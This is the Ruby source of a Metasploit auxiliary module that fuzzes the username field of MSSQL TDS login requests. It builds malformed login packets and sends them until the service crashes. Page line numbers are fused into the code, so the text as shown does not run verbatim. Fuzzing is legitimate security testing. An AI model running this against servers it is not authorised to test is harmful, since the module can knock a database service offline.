Path: blob/master/modules/auxiliary/fuzzers/tds/tds_login_username.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::MSSQL8include Msf::Auxiliary::Fuzzer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'TDS Protocol Login Request Username Fuzzer',15'Description' => %q{16This module sends a series of malformed TDS login requests.17},18'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'Notes' => {21'Stability' => [CRASH_SERVICE_DOWN],22'SideEffects' => [],23'Reliability' => []24}25)26)27end2829# A copy of the mssql_login method with the ability to overload each option30def do_login(opts = {})31@connected = false32disconnect if sock33connect34@connected = true3536pkt = ''37db = ''3839pkt << [400x00000000, # Dummy size41opts[:tds_version] || 0x71000001, # TDS Version42opts[:size] || 0x00000000, # Size43opts[:version] || 0x00000007, # Version44opts[:pid] || rand(1024 + 1), # PID45opts[:connection_id] || 0x00000000, # ConnectionID46opts[:flags_opt1] || 0xe0, # Option Flags 147opts[:flags_opt2] || 0x03, # Option Flags 248opts[:flags_sql_type] || 0x00, # SQL Type Flags49opts[:flags_reserved] || 0x00, # Reserved Flags50opts[:timezone] || 0x00000000, # Time Zone51opts[:collation] || 0x00000000 # Collation52].pack('VVVVVVCCCCVV')5354cname = Rex::Text.to_unicode(opts[:cname] || Rex::Text.rand_text_alpha(1..8))55uname = Rex::Text.to_unicode(opts[:uname] || 'sa')56pname = opts[:pname_raw] || mssql_tds_encrypt(opts[:pname] || '')57aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(1..8))58sname = Rex::Text.to_unicode(opts[:sname] || rhost)59dname = Rex::Text.to_unicode(opts[:dname] || db)6061idx = pkt.size + 50 # lengths below6263pkt << [idx, cname.length / 2].pack('vv')64idx += cname.length6566pkt << [idx, uname.length / 2].pack('vv')67idx += uname.length6869pkt << [idx, pname.length / 2].pack('vv')70idx += pname.length7172pkt << [idx, aname.length / 2].pack('vv')73idx += aname.length7475pkt << [idx, sname.length / 2].pack('vv')76idx += sname.length7778pkt << [0, 0].pack('vv')7980pkt << [idx, aname.length / 2].pack('vv')81idx += aname.length8283pkt << [idx, 0].pack('vv')8485pkt << [idx, dname.length / 2].pack('vv')8687# The total length has to be embedded twice more here88pkt << [890,900,910x12345678,920x1234567893].pack('vVVV')9495pkt << cname96pkt << uname97pkt << pname98pkt << aname99pkt << sname100pkt << aname101pkt << dname102103# Total packet length104pkt[0, 4] = [pkt.length].pack('V')105106# Embedded packet lengths107pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2108109# Packet header and total length including header110pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt111112resp = mssql_send_recv(pkt, opts[:timeout])113114info = { errors: [] }115info = mssql_parse_reply(resp, info)116info117end118119def run120last_str = nil121last_inp = nil122last_err = nil123124cnt = 0125fuzz_strings do |str|126# capped at 16-bit lengths127next if str.length > 65535128129cnt += 1130131if (cnt % 100 == 0)132print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")133end134135begin136do_login(uname: str, timeout: 0.50)137rescue ::Interrupt138print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")139raise $ERROR_INFO140rescue StandardError => e141last_err = e142ensure143disconnect144end145146if !@connected147if last_str148print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}")149else150print_status("Could not connect to the service: #{last_err}")151end152return153end154155last_str = str156last_inp = @last_fuzzer_input157end158end159end160161162